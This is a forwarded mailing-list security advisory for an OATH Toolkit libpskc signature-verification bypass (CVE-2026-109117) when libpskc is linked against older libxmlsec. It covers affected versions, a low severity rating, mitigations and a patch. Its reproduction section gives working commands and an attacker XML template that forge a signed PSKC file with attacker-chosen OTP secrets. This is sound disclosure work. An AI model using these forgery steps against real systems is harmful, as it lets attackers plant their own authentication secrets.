FYI - also via https://oath-toolkit.codeberg.page/CVE-2026-109117.html
/Simon Simon Josefsson via OATH Toolkit general discussions <[email protected]> writes: > OATH Toolkit PSKC Signature Verification bypass in libpskc (CVE-2026-109117) > ---------------------------------------------------------------------------- > > Security Vulnerability > ---------------------- > > OATH Toolkit provides a library for handling PSKC data called > 'libpskc', and a command-line tool 'pskctool' that uses libpskc. > > PSKC is a XML data format defined in RFC 6030 that can be used to > transport OATH HOTP/TOTP HMAC-SHA symmetric secret keys. Libpskc > relies on the XML Security Library (libxmlsec) for cryptographic > signature verification of the PSKC data. > > The RFC 6030 specification section 7 available from > https://datatracker.ietf.org/doc/html/rfc6030#section-7 is not clear > what the purpose and goal of adding a Digital Signature on PSKC data > is, nor what the threat model is. It could be argued that rather than > authenticating the data for trust purposes, the goal of a PSKC > signature could be to provide integrity protection of the content and > a data origin identification. > > The libxmlsec library before v1.3.3 allowed the XML data to provide a > key that will be used to verify the signature, instead of the key > provided by the library/application. Version 1.3.3 of libxmlsec > changed so that it no longer trusts the key data inside the XML data > by default. > > PSKC data is rarely encrypted (and OATH Toolkit do not support PSKC > encryption), therefore deployments require some outer protection of > the PSKC data to protect the OATH HOTP/TOTP secrets from leaking > during transport. SSH and HTTPS are typical transport protocols used > for this, although offline physical transports (e.g., USB memory > devices) is common from production facilities. > > However, if an attacker is able to circumvent the outer transport > protection and substitute their own PSKC data to a system that relies > on PSKC Signature Verification before trusting the incoming PSKC data, > the attacker would be able to substitute their own OATH HOTP/TOTP > secrets or otherwise cause the system to process the incoming PSKC > data as trustworthy. > > The problem only occurs when OATH Toolkit's libpskc is linked to > libxmlsec older than 1.3.3, which was released on 2024-01-04. The > release notes for libxmlsec says: > > (xmlsec-core) Disabled KeyValue and DEREncodedKeyValue XML nodes > by default. Use the '--enabled-key-data' option for the xmlsec > command line utility or update the 'keyInfoCtx.enabledKeyData' > parameter if you need to re-enable these nodes (also see question > 3.5 in the FAQ). > > The FAQ at https://www.aleksey.com/xmlsec/faq.html state that the old > the behaviour is **INSECURE AND NOT RECOMMENDED**. Therefore we > consider the underlying cause to be a libxmlsec security problem, > which ought to have been patched and deployed earlier. > > We encourage further research into other applications using libxmlsec > that may be similarly affected. An earlier report from 2013 exists: > https://www.aleksey.com/pipermail/xmlsec/2013/009717.html > > Many distributions and deployments still uses libxmlsec 1.2.x > including Debian 12 (1.2.37), Debian 13 (1.2.41), Ubuntu 22.04 > (1.2.33), Ubuntu 24.04 (1.2.39) and RHEL 9 (1.2.33). > > We are not aware of any active exploits in the wild of this flaw, and > because of the outer protection required for PSKC data we do not know > of, or can conceive, any realistic scenario where this problem could > be exploited. > > We acknowledge that this may be considered a problem in OATH Toolkit, > and publish this advisory and a set of patches that prevents the > problem from occurring when libpskc is used with older libxmlsec. > > Severity: low. Likely no practical implications. > > Affected versions and configurations > ------------------------------------ > > Support for sign/verify of PSKC data was introduced in version 2.0.1 > released on 2012-10-24 and not fixed up to and including 2.6.14 > released on 2026-01-27. Version 2.6.15 released on 2026-10-13 > prevents the problem. > > Reproduce > --------- > > First create a baseline, with a sample PSKC file. > > cat<<EOF>pskc.xml > <?xml version="1.0" encoding="UTF-8"?> > <KeyContainer Version="1.0" xmlns="urn:ietf:params:xml:ns:keyprov:pskc"> > <KeyPackage> > <DeviceInfo> > <Manufacturer>Manufacturer</Manufacturer> > <SerialNo>987654321</SerialNo> > </DeviceInfo> > <Key Id="12345678" > Algorithm="urn:ietf:params:xml:ns:keyprov:pskc:hotp"> > <AlgorithmParameters> > <ResponseFormat Length="8" Encoding="DECIMAL"/> > </AlgorithmParameters> > <Data> > <Secret> > <PlainValue>MTIzNDU2Nzg5MDEyMzQ1Njc4OTA= > </PlainValue> > </Secret> > <Counter> > <PlainValue>0</PlainValue> > </Counter> > </Data> > </Key> > </KeyPackage> > </KeyContainer> > EOF > > Create a new trusted key and cert: > > openssl req -x509 -newkey rsa:2048 -nodes -keyout trusted.key -out > trusted.crt -days 3650 -subj "/CN=Trusted PSKC Signer" > > Sign the PSKC data: > > pskctool --sign --sign-key trusted.key --sign-crt trusted.crt pskc.xml > > signed-legit.xml > > Confirm verification works fine: > > pskctool --verify --verify-crt trusted.crt signed-legit.xml > OK > > Now simulate an attacker that uses a XML template like this: > > cat<<EOF>attack-template.xml > <?xml version="1.0" encoding="UTF-8"?> > <KeyContainer Version="1.0" Id="KC0001" > xmlns="urn:ietf:params:xml:ns:keyprov:pskc"> > <KeyPackage> > <Key Id="12345678" Algorithm="urn:ietf:params:xml:ns:keyprov:pskc:hotp"> > <Issuer>Attacker</Issuer> > <Data> > <Secret> > <PlainValue>QUJDREVGR0gK</PlainValue> > </Secret> > </Data> > </Key> > </KeyPackage> > <Signature xmlns="http://www.w3.org/2000/09/xmldsig#";> > <SignedInfo> > <CanonicalizationMethod > Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> > <SignatureMethod > Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/> > <Reference URI=""> > <Transforms> > <Transform > Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/> > </Transforms> > <DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/> > <DigestValue/> > </Reference> > </SignedInfo> > <SignatureValue/> > <KeyInfo> > <KeyValue/> > </KeyInfo> > </Signature> > </KeyContainer> > EOF > > Create an attacker-controlled private key/cert and sign the PSKC data: > > openssl req -x509 -newkey rsa:2048 -nodes -keyout attacker.key -out > attacker.crt -days 3650 -subj "/CN=Attacker" > xmlsec1 --sign --privkey-pem attacker.key --output attack-signed.xml > attack-template.xml > > Now witness that pskctool says it is properly signed: > > pskctool --verify --verify-crt trusted.crt attack-signed.xml > OK > > If accepted by some processing entity, it would now trust the data and > could rely on the OATH secret embedded in the file. > > Recommendation > -------------- > > We recommend you to review your outer PSKC data transport protection > to confirm it provides authenticity, integrity and confidentiality of > your data before it reaches libpskc/pskctool. > > As an additional precaution (if the outer protection fails), we > recommend you to upgrade to OATH Toolkit 2.6.15 (or later) and/or > upgrade libxmlsec to 1.3.3 (or later). If upgrading is unpractical we > recommended you to apply the relevant patches on the versions you use. > > Solution > -------- > > The patch we use is to restrict KeyValue to X509Data only: > > https://codeberg.org/oath-toolkit/oath-toolkit/commit/5000be81a938a3bc01fb1a4636e89c19588ce7fb > > History > ------- > > Report by private e-mail from info <[email protected]> on 2026-10-11. > Correspondence about a proof-of-concept that lead to confirming the > issue on 2026-10-12. CVE assigned by GitLab on 2026-10-12. Version > 2.6.15 release on 2026-10-13. > > Credits > ------- > > Report by info <[email protected]>, advisory and patch by Simon Josefsson. >
signature.asc
Description: PGP signature
